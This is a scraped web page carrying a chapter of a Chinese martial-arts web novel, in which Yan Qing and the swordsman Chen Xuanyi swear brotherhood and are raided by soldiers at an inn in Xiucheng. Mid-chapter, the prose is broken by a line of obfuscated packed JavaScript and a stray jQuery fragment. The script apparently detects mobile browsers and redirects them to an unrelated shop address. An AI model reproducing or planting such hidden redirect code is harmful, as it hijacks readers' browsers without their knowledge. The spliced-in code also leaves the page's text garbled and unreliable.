默认冷灰
24号文字
方正启体

22. 结拜

作者:折耳青本书字数:K更新时间:
    “啊啊啊啊啊啊啊啊!!”


    裘千城原地跪下,双手想去碰疼痛难忍的双眼,但是手脚根本无法动弹,他挣扎了好一会儿,最后倒在了血泊中。


    其他流民见到死人了,全都逃走了,抱头鼠窜大喊:“杀人了杀人了杀人了!!”


    晏清很早就偷偷从柜子里爬了出来,她缩在门口目睹了全程,双手捂住嘴瘫在了地上。


    这是她第一次见到杀人的场景。


    陈玄衣将黑色绸带重新绑在右眼上,尾部用力系在脑后,冷风一吹,黑色绸带随风飘起。


    “出来吧,人已经死了。”


    陈玄衣感受到了晏清的存在。


    晏清迟疑地走了出来,保持平静:“感谢公子出手相救。”


    陈玄衣轻笑道,笑起来居然还带着痞气:“哪算什么公子,你都可以叫我叔了。”这句玩笑话倒是让气氛缓和了不少。


    晏清作揖:“那,敢问如何称呼大侠,本人晏清,感谢大侠出手相助,他日定当报答。”


    陈玄衣抬起手阻止她继续说下去:“行了,这些冠冕堂皇的话,说给死人听还差不多,我叫陈玄衣,别一口一个大侠公子,我担不起,叫我陈叔。”


    他又疑惑:“你一个姑娘家,身边也没个保护你的人,怎么一个人就出来了?”


    晏清回答道:“好的陈叔,我要去秀城,家里只有一个病母,所以只好我一个出来了,至于保护,今日之事还是感谢陈叔。”


    陈玄衣解开腰部的酒囊,绰饮了几口,丢给晏清。


    “你若是有胆量,就喝了这酒,从今以后,天南地北,我护着你哈哈哈。”


    晏清闻了闻,一不做二不休,干脆往嘴里倒了一大口。


    这酒比不得玉楼春,入口干涩,回味是无穷的辛辣,但是够劲,晏清喝完感觉全身有劲了。


    “陈叔这酒不错。”她夸赞道。


    “你这丫头也不错,我认了,我陈玄衣漂泊已久,何处不是归途,今日在此,你我拜作义兄义妹可好?”


    “你不是让我叫你叔吗?”晏清疑问道。


    “诶呀。”陈玄衣打了自己一嘴巴子,“看我这嘴,这样吧,以后你就叫我大哥,叔还把我叫老了。”


    “行啊。”晏清爽快的答应了。


    两人以天地为凭,以酒为盟,当即拜了把子。


    二人走到茶馆前面,茶馆外的马都被裘千城杀光了。


    陈玄衣惋惜道:“这个杀千刀的,白白浪费了这么多好马,真是可惜了。”


    晏清也感慨道,碎碎念道:“那我何时才能到秀城啊?”


    陈玄衣问道:“妹子,你很急吗,急的话我有一计策。”


    晏清跟着陈玄衣走到一村子,推开半掩的木门,里面一片狼藉,地上还有血迹。


    村子里的人都不见踪影。


    陈玄衣说:“那帮流民是从这边过来的,他们抢了这个村子不少东西,还、还。”


    他说着,于心不忍。


    晏清也猜到了,还杀了不少人。


    陈玄衣抹了抹眼睛,绕到村子后面,弯腰搬开几块大石头,石头后面居然蹲着一头灰不溜秋的毛驴,瞪着个无辜的眼睛。


    驴子见到有人来,打了个响鼻。


    晏清道:“大哥,你怎么知道这里有驴的?”


    “我也是猜的。”


    陈玄衣继续道:“我之前就盯上这头驴了,可惜这家人不卖,我就经常拿草喂它,没想到一来二去还有感情了,流民来了也不跑,在这等我。”


    驴子又闷闷的哼了一声。


    晏清哭笑不得:“我们难道要骑驴去秀城吗?”


    陈玄衣拍了拍手上的灰:“骑驴好啊,可以抄小道。”


    那就姑且相信驴的力量吧。


    晏亲拽了一把野草喂驴,心想,你要加把劲啊。


    月奴赶来的时候,晏清和陈玄衣已经走远了。


    他走到杂货房门口,看见地面躺着一具尸体,手脚都被挑断了,血还没完全凝固。


    走进房内,他发现灵牌下的柜子里掉了一个荷包,当即,他回到茶楼给顾行舟汇报情况。


    顾行舟接过荷包,这正是晏清用第一次染出的布做的荷包。


    他的眼神立刻慌乱了。


    “月奴,备马!”


    顾行舟语气急切,容不得丝毫置喙,他朝阿福交代了后续要让纺纱厂做的事情,披上大麾就匆匆下楼远去了,月奴跟在他身后。


    阿福独自一人站在茶楼里暗想:“公子也真是的,回马枪打的这么快,希望晏姑娘能平平安安吧。”


    他双手合十朝天祈愿。


    是夜,晏清和陈玄衣二人赶了一路,到了秀城,找了一间客栈住下。


    入店的小二可疑地打量了眼陈玄衣,看到他瞎了一只眼,也没继续问了,点头哈腰送两位上楼。


    安顿好行李,二人一起下楼吃饭。


    “小二,一盘花生,一斤牛肉,两碗面,一碗好酒,速速上来。”陈玄衣大声吩咐道。


    “好嘞,二位客观稍坐,小的马上下差交班,待会儿换班的兄弟给您点菜。”


    陈玄衣听后,一掌拍在了桌子上:“拖拖拉拉,方才进门你就一直盯我,现在又跟我说的等别人等菜,是不是存心找茬!”


    小二看陈玄衣中气十足,心下害怕,他在晏清和陈玄衣中间弯腰,低声说道:“客官,不是我特意怠慢,是秀城有个规矩,戌时后男子不可在外走动。”


    “走了会怎么样?”陈玄衣一生光明磊落,受不了这荒唐言辞。


    “走了就会失踪。”说话的正是一个少女,她束发青衣,腰间一把悬剑,走入客栈。


    小二像看到了救星:“言秋阿姐,你终于来了,他们一直抓着我问,我太难了。”他脱下身上的围裙递给言秋,言秋系在自己身上,她就是来交班的。


    言秋让他赶紧回家,转身朝陈玄衣道:“公子想吃什么,直接吩咐就行。”


    戌时后男子不可在外走动,但是为什么女子就可以出现?


    晏清道:“大哥,此地颇为怪异,在没有探查清楚真相之前,切莫与人发生冲突。”


    陈玄衣觉得有理,言秋将他之前点的菜上齐以后,也没再传唤过店家了。


    晏清困意上头,眼皮子都在打架,她和陈玄衣先行分开,回到房间简单洗漱后一躺到床上就陷入了昏迷。


    深度睡眠后她突然惊醒。


    楼下传来一整躁动。


    晏清打开窗户向下看,客栈外言秋正和三个官兵周旋,客栈内的一个官兵搜查完以后跑了出去,在他耳边窃窃私语。


    为首的官兵不信,将火把给了底下的人,架着刀进去了。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594111|204487||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    言秋任凭他们一伙人闯进客栈。


    “都给我搜,特别注意那些从外面来的,都给我搜仔细点。”为首的官兵说道。


    “咚咚咚”门突然被敲响了,门口潜伏着一个黑影。


    是陈玄衣。


    他压低了声音说:“妹子,你方便吗,楼下来人了。”


    晏清给他开门,陈玄衣已换上一身夜行服。


    他说:“来者不善,我刚看了,凡是前来留宿的年轻男女都被抓走了,我怀疑这是家黑心客栈。”


    耳边倏尔传来脚步声,陈玄衣快步走进屋内,吹灭了蜡烛。


    陈玄衣的语气变得严肃:“晏清,我先护你出去。”说着,他带着晏清跳窗出去。


    晏清身体突然腾空,而又安稳落地,她平底慌乱的呼吸,问道。


    “那你呢,大哥。”


    “我平生最看不惯狗官欺凌霸弱,我且去会会。”


    晏清立马明白他要把自己当做诱饵。


    “不行,这太冒险了。”


    陈玄衣却挑眉道:“挖掘事情的真相,不是很有趣吗,妹子,你大胆往前跑,我给你断后。”


    他往后退去,晏清的眼眶却红了。


    有的人虽然只有一面之缘,但是足以令人印象深刻。


    她朝陈玄衣喊道:“大哥,多多保重啊,有机会再见面!”


    陈玄衣示意她赶紧跑,转身走向客栈。


    陈玄衣掀起衣摆,往众人身后的凳子上一座,他优哉游哉地给自己倒了一杯茶。


    官兵听见动静,转过身看到他,特别是看他穿着一身夜行衣,万分可疑,急道:“来人,把他抓住!”


    陈玄衣倒是不慌,刀光剑影间,他丢出一颗铜板,铜板注了内力,将众人一一击落,最后弹到门柱子上,回击到官兵长的脑门上。


    这下彻底激怒了官兵。


    他们不再废话,一拥而上,四五个官兵一起扑上去,把他强绑了。


    陈玄衣勾起一抹得逞的微笑,这一幕被言秋看在眼里,她皱了皱眉,悄悄走了过去。


    搜查的官兵回来了,向官兵长汇报情况:“报告大人,今日一共六人入住,但我们只搜到五个人。”


    言秋不想惹上多余的麻烦,当官兵问她今天是否有人提前离开时,她说的确入住了六个人,一个人逃走了。


    陈玄衣狠狠地啐了她一口。


    又有人进来报:“大人,二楼最右边房间的窗是打开的,有人跳窗走了。”


    官兵长居高临下睥睨了陈玄衣一眼:“一批人跟我走,剩下一批人去抓!”


    陈玄衣打弯道:“大人,不过是一个小丫头片子,何苦浪费你的人力呢?”


    官兵长不和他贫嘴:“黄大人说过,只要是从外面来秀城的,一一扣押。”


    黄大人?陈玄衣脑中突然想到,是今年那个被连连晋升的黄不连。


    他微微眯了眯眼,这其中一定有猫腻。


    陈玄衣随即假装晕倒睡着了,与其和他们打口水战,不如真的深入敌人内部。


    “报告大人,这里有人晕倒了。”


    官兵长踢了踢陈玄衣,一动也不动的,他吩咐言秋准备一辆推车,只能把人推出去了。


    陈玄衣被搬上了推车,言秋一路帮忙推到大路上,月色被云遮住时,趁机往陈玄衣手里塞了一张纸条。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)